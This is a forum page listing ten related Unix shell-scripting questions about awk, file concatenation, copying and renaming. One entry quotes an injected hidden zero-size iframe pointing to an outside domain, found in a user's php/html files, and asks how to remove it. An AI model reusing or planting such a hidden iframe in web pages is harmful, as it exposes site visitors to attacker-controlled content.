10 More Discussions You Might Find Interesting
1. Shell Programming and Scripting
Hello
I want to collapse a file with multiple rows into consolidated lines of entries based on selected columns as the 'key'.
Example:
1 2 3 Abc def ghi
1 2 3 jkl mno p qrts
6 9 0 mno def Abc
7 8 4 Abc mno mno abc
7 8 9 mno mno abc
7 8 9 mno j k
So if columns 1, 2 and 3 are... (6 Replies)
Discussion started by: linuxlearner123
6 Replies
2. UNIX for Dummies Questions & Answers
I have several problems with my problems: I hope you can help me.
1) the If else statement I am getting an error message. My syntax must be incorrect because the entire statement is throwing an error.
For example in filew.log if these items don't exist Memsize, SASFoundation and also if... (0 Replies)
Discussion started by: dellanicholson
0 Replies
3. Shell Programming and Scripting
so i have a file system:
/data/projects
in this file system, there's about 300 files. on all files in this directory, i'm running:
egrep -r 'Customer.*Processed' /data/projects/*
is there an efficient (fast) awk way of searching through each file in the directory and providing an... (9 Replies)
Discussion started by: SkySmart
9 Replies
4. UNIX for Dummies Questions & Answers
Hi,
Is it possible to have multiple files with the same name in a same unix directory?
Eg., in the path \tmp, can we have 2 files with the same name as SALES_data_20120124.TXT?
I heard it is possible if the user id that is created the files are different and with some ids, a new gets... (1 Reply)
Discussion started by: Vijay81
1 Replies
5. Shell Programming and Scripting
I am trying to print 1st, 2nd, 13th and 14th fields of a file of line numbers from 29 to 10029. I dont know how to put this in one code. Currently I am removing the selected lines by
awk 'NR==29,NR==10029' File1 > File2
and then doing
awk '{print $1, $2, $13, $14}' File2 > File3
Can... (3 Replies)
Discussion started by: ananyob
3 Replies
6. Shell Programming and Scripting
Hi,
I would like a shell script that reads all files in a directory and concatenate them. It is not a simple concatenation. The first few lines of the files should not be included. The lines to be included are the lines from where 'START HERE' appears up to the end of the file. For example, I... (4 Replies)
Discussion started by: laiko
4 Replies
7. Shell Programming and Scripting
here's the case :
almost of php/html file on my site has added the text :
<iframe src="http://google-analyze.cn/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>I don't know how this happen, so i want to remove above text from all... (16 Replies)
Discussion started by: dzufauzan
16 Replies
8. UNIX for Dummies Questions & Answers
I am wanting to find files within a directory that are over a certain number of days old and copy them to another directory. And unfortunately not having much luck.......is someone able to help.
Would also like to add that there are literally thousands of files that I am wanting to copy in one... (3 Replies)
Discussion started by: hellfyre
3 Replies
9. Shell Programming and Scripting
I am trying to make a script to convert drg files to wav and so far i have this
#!/bin/bash
drg2sbg "$*" -o "$*".sbg
sbagen -Wo "/home/nick/Desktop/I-Doser Wave Files/"$*"" "$*".sbg
rm "$*".sbg
cd "/home/nick/Desktop/I-Doser Wave Files"
rename 's/\.drg$/\.wav/' *.drg
exit
the drg2sbg and... (2 Replies)
Discussion started by: Nickbowlingdude
2 Replies
10. UNIX for Advanced & Expert Users
Hi,
I am trying to write a script that will move all the files from source directory structure(multiple levels might exist) to destination directory structure. If a sub folder is source doesnot exist in destination then I have to skip and goto next level. I also need to delete the files in... (4 Replies)
Discussion started by: srmadab
4 Replies